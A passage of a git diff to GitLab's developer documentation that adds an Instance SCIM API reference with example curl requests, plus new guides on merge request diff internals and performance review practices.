https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Set up a development environment **(FREE)** +# Set up a development environment The following are required to install and test the app: diff --git a/doc/development/integrations/secure.md b/doc/development/integrations/secure.md index 190a6f6eda2..f5bb2df2494 100644 --- a/doc/development/integrations/secure.md +++ b/doc/development/integrations/secure.md @@ -350,9 +350,9 @@ version is 14.0.6, the report is validated against version 14.0.6. GitLab uses the [`json_schemer`](https://www.rubydoc.info/gems/json_schemer) gem to perform validation. -Ongoing improvements to report validation are tracked [in this epic](https://gitlab.com/groups/gitlab-org/-/epics/6968). +Ongoing improvements to report validation are tracked [in this epic](https://gitlab.com/groups/gitlab-org/-/epics/8900). In the meantime, you can see which versions are supported in the -[source code](https://gitlab.com/gitlab-org/gitlab/-/blob/08dd756429731a0cca1e27ca9d59eea226398a7d/lib/gitlab/ci/parsers/security/validators/schema_validator.rb#L9-27). +[source code](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/parsers/security/validators/schema_validator.rb#L9). Remember to pick the correct version for your instance, for example [`v15.7.3-ee`](https://gitlab.com/gitlab-org/gitlab/-/blob/v15.7.3-ee/lib/gitlab/ci/parsers/security/validators/schema_validator.rb#L9). #### Validate locally diff --git a/doc/development/internal_api/index.md b/doc/development/internal_api/index.md index 68d9b88bc05..f0fdedd801f 100644 --- a/doc/development/internal_api/index.md +++ b/doc/development/internal_api/index.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Internal API **(FREE)** +# Internal API The internal API is used by different GitLab components, it cannot be used by other consumers. This documentation is intended for people @@ -964,17 +964,17 @@ Example response: - CustomersDot -## SCIM API **(PREMIUM SAAS)** +## Group SCIM API **(PREMIUM SAAS)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/9388) in GitLab 11.10. -The SCIM API implements the [RFC7644 protocol](https://www.rfc-editor.org/rfc/rfc7644). As this API is for +The group SCIM API implements the [RFC7644 protocol](https://www.rfc-editor.org/rfc/rfc7644). As this API is for **system** use for SCIM provider integration, it is subject to change without notice. -To use this API, [Group SSO](../../user/group/saml_sso/index.md) must be enabled for the group. +To use this API, enable [Group SSO](../../user/group/saml_sso/index.md) for the group. This API is only in use where [SCIM for Group SSO](../../user/group/saml_sso/scim_setup.md) is enabled. It's a prerequisite to the creation of SCIM identities. -Not to be confused with the [main SCIM API](../../api/scim.md). +This API is different to the [main SCIM API](../../api/scim.md) and the [instance SCIM API](#instance-scim-api). ### Get a list of SCIM provisioned users @@ -991,7 +991,7 @@ Parameters: |:----------|:--------|:---------|:----------------------------------------------------------------------------------------------------------------------------------------| | `filter` | string | no | A [filter](#available-filters) expression. | | `group_path` | string | yes | Full path to the group. | -| `startIndex` | integer | no | The 1-based index indicating where to start returning results from. A value of less than one will be interpreted as 1. | +| `startIndex` | integer | no | The 1-based index indicating where to start returning results from. A value of less than one is interpreted as 1. | | `count` | integer | no | Desired maximum number of query results. | NOTE: @@ -1185,6 +1185,219 @@ curl --verbose --request DELETE "https://gitlab.example.com/api/scim/v2/groups/t Returns an empty response with a `204` status code if successful. +## Instance SCIM API **(PREMIUM SELF)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/378599) in GitLab 15.8. + +The Instance SCIM API implements the [RFC7644 protocol](https://www.rfc-editor.org/rfc/rfc7644). As this API is for +**system** use for SCIM provider integration, it is subject to change without notice. + +To use this API, enable [SAML SSO](../../integration/saml.md) for the instance. + +This API is different to the [main SCIM API](../../api/scim.md) and the [group SCIM API](#group-scim-api). + +### Get a list of SCIM provisioned users + +This endpoint is used as part of the SCIM syncing mechanism. It only returns +a single user based on a unique ID which should match the `extern_uid` of the user. + +```plaintext +GET /api/scim/v2/application/Users +``` + +Parameters: + +| Attribute | Type | Required | Description | +|:----------|:--------|:---------|:----------------------------------------------------------------------------------------------------------------------------------------| +| `filter` | string | no | A [filter](#available-filters) expression. | +| `startIndex` | integer | no | The 1-based index indicating where to start returning results from. A value of less than one is interpreted as 1. | +| `count` | integer | no | Desired maximum number of query results. | + +NOTE: +Pagination follows the [SCIM spec](https://www.rfc-editor.org/rfc/rfc7644#section-3.4.2.4) rather than GitLab pagination as used elsewhere. If records change between requests it is possible for a page to either be missing records that have moved to a different page or repeat records from a previous request. + +Example request: + +```shell +curl "https://gitlab.example.com/api/scim/v2/application/Users?filter=id%20eq%20%220b1d561c-21ff-4092-beab-8154b17f82f2%22" \ + --header "Authorization: Bearer <your_scim_token>" \ + --header "Content-Type: application/scim+json" +``` + +Example response: + +```json +{ + "schemas": [ + "urn:ietf:params:scim:api:messages:2.0:ListResponse" + ], + "totalResults": 1, + "itemsPerPage": 20, + "startIndex": 1, + "Resources": [ + { + "schemas": [ + "urn:ietf:params:scim:schemas:core:2.0:User" + ], + "id": "0b1d561c-21ff-4092-beab-8154b17f82f2", + "active": true, + "name.formatted": "Test User", + "userName": "username", + "meta": { "resourceType":"User" }, + "emails": [ + { + "type": "work", + "value": "name@example.com", + "primary": true + } + ] + } + ] +} +``` + +### Get a single SCIM provisioned user + +```plaintext +GET /api/scim/v2/application/Users/:id +``` + +Parameters: + +| Attribute | Type | Required | Description | +|:----------|:--------|:---------|:----------------------------------------------------------------------------------------------------------------------------------------| +| `id` | string | yes | External UID of the user. | + +Example request: + +```shell +curl "https://gitlab.example.com/api/scim/v2/application/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" \ + --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" +``` + +Example response: + +```json +{ + "schemas": [ + "urn:ietf:params:scim:schemas:core:2.0:User" + ], + "id": "0b1d561c-21ff-4092-beab-8154b17f82f2", + "active": true, + "name.formatted": "Test User", + "userName": "username", + "meta": { "resourceType":"User" }, + "emails": [ + { + "type": "work", + "value": "name@example.com", + "primary": true + } + ] +} +``` + +### Create a SCIM provisioned user + +```plaintext +POST /api/scim/v2/application/Users +``` + +Parameters: + +| Attribute | Type | Required | Description | +|:---------------|:----------|:----|:--------------------------| +| `externalId` | string | yes | External UID of the user. | +| `userName` | string | yes | Username of the user. | +| `emails` | JSON string | yes | Work email. | +| `name` | JSON string | yes | Name of the user. | +| `meta` | string | no | Resource type (`User`). | + +Example request: + +```shell +curl --verbose --request POST "https://gitlab.example.com/api/scim/v2/application/Users" \ + --data '{"externalId":"test_uid","active":null,"userName":"username","emails":[{"primary":true,"type":"work","value":"name@example.com"}],"name":{"formatted":"Test User","familyName":"User","givenName":"Test"},"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],"meta":{"resourceType":"User"}}' \ + --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" +``` + +Example response: + +```json +{ + "schemas": [ + "urn:ietf:params:scim:schemas:core:2.0:User" + ], + "id": "0b1d561c-21ff-4092-beab-8154b17f82f2", + "active": true, + "name.formatted": "Test User", + "userName": "username", + "meta": { "resourceType":"User" }, + "emails": [ + { + "type": "work", + "value": "name@example.com", + "primary": true + } + ] +} +``` + +Returns a `201` status code if successful. + +### Update a single SCIM provisioned user + +Fields that can be updated are: + +| SCIM/IdP field | GitLab field | +|:---------------------------------|:-----------------------------------------------------------------------------| +| `id/externalId` | `extern_uid` | +| `active` | Identity removal if `active` = `false` | + +```plaintext +PATCH /api/scim/v2/application/Users/:id +``` + +Parameters: + +| Attribute | Type | Required | Description | +|:----------|:--------|:---------|:----------------------------------------------------------------------------------------------------------------------------------------| +| `id` | string | yes | External UID of the user. | +| `Operations` | JSON string | yes | An [operations](#available-operations) expression. | + +Example request: + +```shell +curl --verbose --request PATCH "https://gitlab.example.com/api/scim/v2/application/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" \ + --data '{ "Operations": [{"op":"Add","path":"name.formatted","value":"New Name"}] }' \ + --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" +``` + +Returns an empty response with a `204` status code if successful. + +### Remove a single SCIM provisioned user + +Removes the user's SSO identity. + +```plaintext +DELETE /api/scim/v2/application/Users/:id +``` + +Parameters: + +| Attribute | Type | Required | Description | +| ------------ | ------ | -------- | ------------------------- | +| `id` | string | yes | External UID of the user. | + +Example request: + +```shell +curl --verbose --request DELETE "https://gitlab.example.com/api/scim/v2/application/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" \ + --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" +``` + +Returns an empty response with a `204` status code if successful. + ### Available filters They match an expression as specified in [the RFC7644 filtering section](https://www.rfc-editor.org/rfc/rfc7644#section-3.4.2.2). diff --git a/doc/development/kubernetes.md b/doc/development/kubernetes.md index 332a3c4ab09..e44e2af4371 100644 --- a/doc/development/kubernetes.md +++ b/doc/development/kubernetes.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Kubernetes integration - development guidelines **(FREE)** +# Kubernetes integration - development guidelines This document provides various guidelines when developing for the GitLab [Kubernetes integration](../user/infrastructure/clusters/index.md). diff --git a/doc/development/lfs.md b/doc/development/lfs.md index dd7687cd28b..ec91f9f3c8b 100644 --- a/doc/development/lfs.md +++ b/doc/development/lfs.md @@ -4,7 +4,7 @@ group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Git LFS developer information **(FREE)** +# Git LFS developer information This page contains developer-centric information for GitLab team members. For the user documentation, see [Git Large File Storage](../topics/git/lfs/index.md). diff --git a/doc/development/logging.md b/doc/development/logging.md index 44a47f96de1..6282f0f6677 100644 --- a/doc/development/logging.md +++ b/doc/development/logging.md @@ -4,7 +4,7 @@ group: Respond info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# GitLab Developers Guide to Logging **(FREE)** +# GitLab Developers Guide to Logging [GitLab Logs](../administration/logs/index.md) play a critical role for both administrators and GitLab team members to diagnose problems in the field. diff --git a/doc/development/maintenance_mode.md b/doc/development/maintenance_mode.md index b61b7472385..486519715ab 100644 --- a/doc/development/maintenance_mode.md +++ b/doc/development/maintenance_mode.md @@ -4,7 +4,7 @@ group: Geo info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Internal workings of GitLab Maintenance Mode **(PREMIUM SELF)** +# Internal workings of GitLab Maintenance Mode ## Where is Maintenance Mode enforced? diff --git a/doc/development/merge_request_concepts/diffs/development.md b/doc/development/merge_request_concepts/diffs/development.md new file mode 100644 index 00000000000..1c22eff34db --- /dev/null +++ b/doc/development/merge_request_concepts/diffs/development.md @@ -0,0 +1,188 @@ +--- +stage: Create +group: Code Review +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Merge request diffs development guide + +This document explains the backend design and flow of merge request diffs. +It should help contributors: + +- Understand the code design. +- Identify areas for improvement through contribution. + +It's intentional that it doesn't contain too many implementation details, as they +can change often. The code better explains these details. The components +mentioned here are the major parts of the application for how merge request diffs +are generated, stored, and returned to users. + +NOTE: +This page is a living document. Update it accordingly when the parts +of the codebase touched in this document are changed or removed, or when new components +are added. + +## Data model + +Four main ActiveRecord models represent what we collectively refer to +as _diffs._ These database-backed records replicate data contained in the +project's Git repository, and are in part a cache against excessive access requests +to [Gitaly](../../gitaly.md). Additionally, they provide a logical place for: + +- Calculated and retrieved metadata about the pieces of the diff. +- General class- and instance- based logic. + +```mermaid +erDiagram + MergeRequest ||--|{ MergeRequestDiff: "" + MergeRequestDiff |{--|{ MergeRequestDiffCommit: "" + MergeRequestDiff |{--|| MergeRequestDiffDetail: "" + MergeRequestDiff |{--|{ MergeRequestDiffFile: "" + MergeRequestDiffCommit |{--|| MergeRequestDiffCommitUser: "" +``` + +### `MergeRequestDiff` + +`MergeRequestDiff` is defined in `app/models/merge_request_diff.rb`. This +class holds metadata and context related to the diff resulting from a set of +commits. It defines methods that are the primary means for interacting with diff +contents, individual commits, and the files containing changes. + +```ruby +#<MergeRequestDiff:0x00007fd1ed63b4d0 + id: 28, + state: "collected", + merge_request_id: 28, + created_at: Tue, 06 Sep 2022 18:56:02.509469000 UTC +00:00, + updated_at: Tue, 06 Sep 2022 18:56:02.754201000 UTC +00:00, + base_commit_sha: "ae73cb07c9eeaf35924a10f713b364d32b2dd34f", + real_size: "9", + head_commit_sha: "bb5206fee213d983da88c47f9cf4cc6caf9c66dc", + start_commit_sha: "0b4bc9a49b562e85de7cc9e834518ea6828729b9", + commits_count: 6, + external_diff: "diff-28", + external_diff_store: 1, + stored_externally: nil, + files_count: 9, + sorted: true, + diff_type: "regular", + verification_checksum: nil> +``` + +Diff content is usually accessed through this class. Logic is often applied +to diff, file, and commit content before it is returned to a user. + +### `MergeRequestDiffCommit` + +`MergeRequestDiffCommit` is defined in `app/models/merge_request_diff_commit.rb`. +This class corresponds to a single commit contained in its corresponding `MergeRequestDiff`, +and holds header information about the commit. + +```ruby +#<MergeRequestDiffCommit:0x00007fd1dfc6c4c0 + authored_date: Wed, 06 Aug 2022 06:35:52.000000000 UTC +00:00, + committed_date: Wed, 06 Aug 2022 06:35:52.000000000 UTC +00:00, + merge_request_diff_id: 28, + relative_order: 0, + sha: "bb5206fee213d983da88c47f9cf4cc6caf9c66dc", + message: "Feature conflcit added\n\nSigned-off-by: Sample User <sample.user@example.com>\n", + trailers: {}, + commit_author_id: 19, + committer_id: 19> +``` + +Every `MergeRequestDiffCommit` has a corresponding `MergeRequest::DiffCommitUser` +record it `:belongs_to`, in ActiveRecord parlance. These records are `:commit_author` +and `:committer`, and could be distinct individuals. + +### `MergeRequest::DiffCommitUser` + +`MergeRequest::DiffCommitUser` is defined in `app/models/merge_request/diff_commit_user.rb`. +It captures the `name` and `email` of a given commit, but contains no connection +itself to any `User` records. + +```ruby +#<MergeRequest::DiffCommitUser:0x00007fd1dff7c930 + id: 19, + name: "Sample User", + email: "sample.user@example.com"> +``` + +### `MergeRequestDiffFile` + +`MergeRequestDiffFile` is defined in `app/models/merge_request_diff_file.rb`. +This record of this class represents the diff of a single file contained in the +`MergeRequestDiff`. It holds both meta and specific information about the file's +relationship to the change, such as: + +- Whether it is added or renamed. +- Its ordering in the diff. +- The raw diff output itself. + +### `MergeRequestDiffDetail` + +`MergeRequestDiffDetail` is defined in `app/models/merge_request_diff_detail.rb`. +This class provides verification information for Geo replication, but otherwise +is not used for user-facing diffs. + +```ruby +#<MergeRequestDiffFile:0x00007fd1ef7c9048 + merge_request_diff_id: 28, + relative_order: 0, + new_file: true, + renamed_file: false, + deleted_file: false, + too_large: false, + a_mode: "0", + b_mode: "100644", + new_path: "files/ruby/feature.rb", + old_path: "files/ruby/feature.rb", + diff: + "@@ -0,0 +1,4 @@\n+# This file was changed in feature branch\n+# We put different code here to make merge conflict\n+class Conflict\n+end\n", + binary: false, + external_diff_offset: nil, + external_diff_size: nil> +``` + +## Flow + +These flowcharts should help explain the flow from the controllers down to the +models for different features. This page is not intended to document the entirety +of options for access and working with diffs, focusing solely on the most common. + +### `batch_diffs.json` + +The most common avenue for viewing diffs is the **Changes** +tab in the top navigation bar of merge request pages in the GitLab UI. When selected, the +diffs themselves are loaded via a paginated request to `/-/merge_requests/:id/batch_diffs.json`, +which is served by [`Projects::MergeRequests::DiffsController#diffs_batch`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/controllers/projects/merge_requests/diffs_controller.rb): + +<!-- Don't delete the characters below. Mermaid returns a syntax error if they aren't included.--> + +```mermaid +sequenceDiagram + Note over .#diffs_batch: Preload diffs and ivars + .#diffs_batch->>+.#define_diff_vars: + .#define_diff_vars ->>+ @merge_request: @merge_request_diffs = + Note right of @merge_request: An ordered collection of all diffs in MR + @merge_request-->>-.#define_diff_vars: + .#define_diff_vars ->>+ @merge_request: @merge_request_diff = + Note right of @merge_request: Most recent merge_request_diff (or commit) + @merge_request-->>-.#define_diff_vars: + .#define_diff_vars ->>+ .#define_diff_vars: @compare = + Note right of .#define_diff_vars:: param-filtered merge_request_diff(s) + .#define_diff_vars -->>- .#diffs_batch: + Note over .#diffs_batch: Preloading complete + .#diffs_batch->>+@merge_request: Calculate unfoldable diff lines + Note right of @merge_request: note_positions_for_paths.unfoldable + @merge_request-->>-.#diffs_batch: + Note over .#diffs_batch: Build options hash + Note over .#diffs_batch: Build cache_context + Note over .#diffs_batch: Unfold files in diff + .#diffs_batch->>+Gitlab_Diff_FileCollection_MergeRequestDiffBase: diffs.write_diff + Gitlab_Diff_FileCollection_MergeRequestDiffBase->>+Gitlab_Diff_HighlightCache: Highlight diff + Gitlab_Diff_HighlightCache -->>-Gitlab_Diff_FileCollection_MergeRequestDiffBase: Return highlighted diff + Note over Gitlab_Diff_FileCollection_MergeRequestDiffBase: Cache diff + Gitlab_Diff_FileCollection_MergeRequestDiffBase-->>-.#diffs_batch: + Note over .#diffs_batch: render JSON +``` diff --git a/doc/development/merge_request_concepts/diffs/index.md b/doc/development/merge_request_concepts/diffs/index.md new file mode 100644 index 00000000000..8ef3f01aba9 --- /dev/null +++ b/doc/development/merge_request_concepts/diffs/index.md @@ -0,0 +1,199 @@ +--- +stage: Create +group: Code Review +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Working with diffs + +We rely on different sources to present diffs. These include: + +- Gitaly service +- Database (through `merge_request_diff_files`) +- Redis (cached highlighted diffs) + +## Deep Dive + +<!-- vale gitlab.Spelling = NO --> + +In January 2019, Oswaldo Ferreira hosted a Deep Dive (GitLab team members only: +`https://gitlab.com/gitlab-org/create-stage/issues/1`) on GitLab Diffs and Commenting on Diffs +functionality to share domain-specific knowledge with anyone who may work in this part of the +codebase in the future: + +<!-- vale gitlab.Spelling = YES --> + +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> + [Recording on YouTube](https://www.youtube.com/watch?v=K6G3gMcFyek) +- Slides on [Google Slides](https://docs.google.com/presentation/d/1bGutFH2AT3bxOPZuLMGl1ANWHqFnrxwQwjiwAZkF-TU/edit) +- [PDF slides](https://gitlab.com/gitlab-org/create-stage/uploads/b5ad2f336e0afcfe0f99db0af0ccc71a/) + +Everything covered in this deep dive was accurate as of GitLab 11.7, and while specific details may +have changed since then, it should still serve as a good introduction. + +## Architecture overview + +### Merge request diffs + +When refreshing a merge request (pushing to a source branch, force-pushing to target branch, or if the target branch now contains any commits from the MR) +we fetch the comparison information using `Gitlab::Git::Compare`, which fetches `base` and `head` data using Gitaly and diff between them through +`Gitlab::Git::Diff.between`. +The diffs fetching process _limits_ single file diff sizes and the overall size of the whole diff through a series of constant values. Raw diff files are +then persisted on `merge_request_diff_files` table. + +Even though diffs larger than 10% of the value of `ApplicationSettings#diff_max_patch_bytes` are collapsed, +we still keep them on PostgreSQL. However, diff files larger than defined _safety limits_ +(see the [Diff limits section](#diff-limits)) are _not_ persisted in the database. + +In order to present diffs information on the merge request diffs page, we: + +1. Fetch all diff files from database `merge_request_diff_files` +1. Fetch the _old_ and _new_ file blobs in batch to: + - Highlight old and new file content + - Know which viewer it should use for each file (text, image, deleted, etc) + - Know if the file content changed + - Know if it was stored externally + - Know if it had storage errors +1. If the diff file is cacheable (text-based), it's cached on Redis + using `Gitlab::Diff::FileCollection::MergeRequestDiff` + +### Note diffs + +When commenting on a diff (any comparison), we persist a truncated diff version +on `NoteDiffFile` (which is associated with the actual `DiffNote`). So instead +of hitting the repository every time we need the diff of the file, we: + +1. Check whether we have the `NoteDiffFile#diff` persisted and use it +1. Otherwise, if it's a current MR revision, use the persisted + `MergeRequestDiffFile#diff` +1. In the last scenario, go the repository and fetch the diff + +## Diff limits + +As explained above, we limit single diff files and the size of the whole diff. There are scenarios where we collapse the diff file, +and cases where the diff file is not presented at all, and the user is guided to the Blob view. + +### Diff collection limits + +Limits that act onto all diff files collection. Files number, lines number and files size are considered. + +```ruby +Gitlab::Git::DiffCollection.collection_limits[:safe_max_files] = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_files] = 100 +``` + +File diffs are collapsed (but are expandable) if 100 files have already been rendered. + +```ruby +Gitlab::Git::DiffCollection.collection_limits[:safe_max_lines] = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_lines] = 5000 +``` + +File diffs are collapsed (but be expandable) if 5000 lines have already been rendered. + +```ruby +Gitlab::Git::DiffCollection.collection_limits[:safe_max_bytes] = Gitlab::Git::DiffCollection.collection_limits[:safe_max_files] * 5.kilobytes = 500.kilobytes +``` + +File diffs are collapsed (but be expandable) if 500 kilobytes have already been rendered. + +```ruby +Gitlab::Git::DiffCollection.collection_limits[:max_files] = Commit::DIFF_HARD_LIMIT_FILES = 1000 +``` + +No more files are rendered at all if 1000 files have already been rendered. + +```ruby +Gitlab::Git::DiffCollection.collection_limits[:max_lines] = Commit::DIFF_HARD_LIMIT_LINES = 50000 +``` + +No more files are rendered at all if 50,000 lines have already been rendered. + +```ruby +Gitlab::Git::DiffCollection.collection_limits[:max_bytes] = Gitlab::Git::DiffCollection.collection_limits[:max_files] * 5.kilobytes = 5000.kilobytes +``` + +No more files are rendered at all if 5 megabytes have already been rendered. + +All collection limit parameters are sent and applied on Gitaly. That is, after the limit is surpassed, +Gitaly only returns the safe amount of data to be persisted on `merge_request_diff_files`. + +### Individual diff file limits + +Limits that act onto each diff file of a collection. Files number, lines number and files size are considered. + +#### Expandable patches (collapsed) + +Diff patches are collapsed when surpassing 10% of the value set in `ApplicationSettings#diff_max_patch_bytes`. +That is, it's equivalent to 10kb if the maximum allowed value is 100kb. +The diff is persisted and expandable if the patch size doesn't +surpass `ApplicationSettings#diff_max_patch_bytes`. + +Although this nomenclature (Collapsing) is also used on Gitaly, this limit is only used on GitLab (hardcoded - not sent to Gitaly). +Gitaly only returns `Diff.Collapsed` (RPC) when surpassing collection limits. + +#### Not expandable patches (too large) + +The patch not be rendered if it's larger than `ApplicationSettings#diff_max_patch_bytes`. +Users see a `Changes are too large to be shown.` message and a button to view only that file in that commit. + +```ruby +Commit::DIFF_SAFE_LINES = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_lines] = 5000 +``` + +File diff is suppressed (technically different from collapsed, but behaves the same, and is expandable) if it has more than 5000 lines. + +This limit is hardcoded and only applied on GitLab. + +## Viewers + +Diff Viewers, which can be found on `models/diff_viewer/*` are classes used to map metadata about each type of Diff File. It has information +whether it's a binary, which partial should be used to render it or which File extensions this class accounts for. + +`DiffViewer::Base` validates _blobs_ (old and new versions) content, extension and file type to check if it can be rendered. + +## Merge request diffs against the `HEAD` of the target branch + +Historically, merge request diffs have been calculated by `git diff target...source` which compares the +`HEAD` of the source branch with the merge base (or a common ancestor) of the target branch and the source's. +This solution works well until the target branch starts containing some of the +changes introduced by the source branch: Consider the following case, in which the source branch +is `feature_a` and the target is `main`: + +1. Checkout a new branch `feature_a` from `main` and remove `file_a` and `file_b` in it. +1. Add a commit that removes `file_a` to `main`. + +The merge request diff still contains the `file_a` removal while the actual diff compared to +`main`'s `HEAD` has only the `file_b` removal. The diff with such redundant +changes is harder to review. + +In order to display an up-to-date diff, in GitLab 12.9 we +[introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27008) merge request +diffs compared against `HEAD` of the target branch: the +target branch is artificially merged into the source branch, then the resulting +merge ref is compared to the source branch to calculate an accurate +diff. + +Until we complete the epics ["use merge refs for diffs"](https://gitlab.com/groups/gitlab-org/-/epics/854) +and ["merge conflicts in diffs"](https://gitlab.com/groups/gitlab-org/-/epics/4893), +both options `main (base)` and `main (HEAD)` are available to be displayed in merge requests: + + + +The `main (HEAD)` option is meant to replace `main (base)` in the future. + +In order to support comments for both options, diff note positions are stored for +both `main (base)` and `main (HEAD)` versions ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/198457) in 12.10). +The position for `main (base)` version is stored in `Note#position` and +`Note#original_position` columns, for `main (HEAD)` version `DiffNotePosition` +has been introduced. + +One of the key challenges to deal with when working on merge ref diffs are merge +conflicts. If the target and source branch contains a merge conflict, the branches +cannot be automatically merged. The +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [recording on YouTube](https://www.youtube.com/watch?v=GFXIFA4ZuZw&feature=youtu.be&ab_channel=GitLabUnfiltered) +is a quick introduction to the problem and the motivation behind the [epic](https://gitlab.com/groups/gitlab-org/-/epics/854). + +In 13.5 a solution for both-modified merge +conflict has been +[introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232484). However, +there are more classes of merge conflicts that are to be +[addressed](https://gitlab.com/groups/gitlab-org/-/epics/4893) in the future. diff --git a/doc/development/img/merge_ref_head_options_v13_6.png b/doc/development/merge_request_concepts/img/merge_ref_head_options_v13_6.png Binary files differindex 3134092cc92..3134092cc92 100644 --- a/doc/development/img/merge_ref_head_options_v13_6.png +++ b/doc/development/merge_request_concepts/img/merge_ref_head_options_v13_6.png diff --git a/doc/development/merge_request_concepts/performance.md b/doc/development/merge_request_concepts/performance.md new file mode 100644 index 00000000000..c1bdd45891d --- /dev/null +++ b/doc/development/merge_request_concepts/performance.md @@ -0,0 +1,565 @@ +--- +stage: none +group: unassigned +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Merge Request Performance Guidelines + +Each new introduced merge request **should be performant by default**. + +To ensure a merge request does not negatively impact performance of GitLab +_every_ merge request **should** adhere to the guidelines outlined in this +document. There are no exceptions to this rule unless specifically discussed +with and agreed upon by backend maintainers and performance specialists. + +It's also highly recommended that you read the following guides: + +- [Performance Guidelines../performance.md) +- [Avoiding downtime in migrations](../database/avoiding_downtime_in_migrations.md) + +## Definition + +The term `SHOULD` per the [RFC 2119](https://www.ietf.org/rfc/rfc2119.txt) means: + +> This word, or the adjective "RECOMMENDED", mean that there +> may exist valid reasons in particular circumstances to ignore a +> particular item, but the full implications must be understood and +> carefully weighed before choosing a different course. + +Ideally, each of these tradeoffs should be documented +in the separate issues, labeled accordingly and linked +to original issue and epic. + +## Impact Analysis + +**Summary:** think about the impact your merge request may have on performance +and those maintaining a GitLab setup. + +Any change submitted can have an impact not only on the application itself but +also those maintaining it and those keeping it up and running (for example, production +engineers). As a result you should think carefully about the impact of your +merge request on not only the application but also on the people keeping it up +and running. + +Can the queries used potentially take down any critical services and result in +engineers being woken up in the night? Can a malicious user abuse the code to +take down a GitLab instance? Do my changes make loading a certain page +slower? Does execution time grow exponentially given enough load or data in the +database? + +These are all questions one should ask themselves before submitting a merge +request. It may sometimes be difficult to assess the impact, in which case you +should ask a performance specialist to review your code. See the "Reviewing" +section below for more information. + +## Performance Review + +**Summary:** ask performance specialists to review your code if you're not sure +about the impact. + +Sometimes it's hard to assess the impact of a merge request. In this case you +should ask one of the merge request reviewers to review your changes. You can +find a list of these reviewers at <https://about.gitlab.com/company/team/>. A reviewer +in turn can request a performance specialist to review the changes. + +## Think outside of the box + +Everyone has their own perception of how to use the new feature. +Always consider how users might be using the feature instead. Usually, +users test our features in a very unconventional way, +like by brute forcing or abusing edge conditions that we have. + +## Data set + +The data set the merge request processes should be known +and documented. The feature should clearly document what the expected +data set is for this feature to process, and what problems it might cause. + +If you would think about the following example that puts +a strong emphasis of data set being processed. +The problem is simple: you want to filter a list of files from +some Git repository. Your feature requests a list of all files +from the repository and perform search for the set of files. +As an author you should in context of that problem consider +the following: + +1. What repositories are planned to be supported? +1. How long it do big repositories like Linux kernel take? +1. Is there something that we can do differently to not process such a + big data set? +1. Should we build some fail-safe mechanism to contain + computational complexity? Usually it's better to degrade + the service for a single user instead of all users. + +## Query plans and database structure + +The query plan can tell us if we need additional +indexes, or expensive filtering (such as using sequential scans). + +Each query plan should be run against substantial size of data set. +For example, if you look for issues with specific conditions, +you should consider validating a query against +a small number (a few hundred) and a big number (100_000) of issues. +See how the query behaves if the result is a few +and a few thousand. + +This is needed as we have users using GitLab for very big projects and +in a very unconventional way. Even if it seems that it's unlikely +that such a big data set is used, it's still plausible that one +of our customers could encounter a problem with the feature. + +Understanding ahead of time how it behaves at scale, even if we accept it, +is the desired outcome. We should always have a plan or understanding of what is needed +to optimize the feature for higher usage patterns. + +Every database structure should be optimized and sometimes even over-described +in preparation for easy extension. The hardest part after some point is +data migration. Migrating millions of rows is always troublesome and +can have a negative impact on the application. + +To better understand how to get help with the query plan reviews +read this section on [how to prepare the merge request for a database review../database_review.md#how-to-prepare-the-merge-request-for-a-database-review). + +## Query Counts + +**Summary:** a merge request **should not** increase the total number of executed SQL +queries unless absolutely necessary. + +The total number of queries executed by the code modified or added by a merge request +must not increase unless absolutely necessary. When building features it's +entirely possible you need some extra queries, but you should try to keep +this at a minimum. + +As an example, say you introduce a feature that updates a number of database +rows with the same value. It may be very tempting (and easy) to write this using +the following pseudo code: + +```ruby +objects_to_update.each do |object| + object.some_field = some_value + object.save +end +``` + +This means running one query for every object to update. This code can +easily overload a database given enough rows to update or many instances of this +code running in parallel. This particular problem is known as the +["N+1 query problem"](https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations). You can write a test with [QueryRecorder](../database/query_recorder.md) to detect this and prevent regressions. + +In this particular case the workaround is fairly easy: + +```ruby +objects_to_update.update_all(some_field: some_value) +``` + +This uses ActiveRecord's `update_all` method to update all rows in a single +query. This in turn makes it much harder for this code to overload a database. + +## Use read replicas when possible + +In a DB cluster we have many read replicas and one primary. A classic use of scaling the DB is to have read-only actions be performed by the replicas. We use [load balancing](../../administration/postgresql/database_load_balancing.md) to distribute this load. This allows for the replicas to grow as the pressure on the DB grows. + +By default, queries use read-only replicas, but due to +[primary 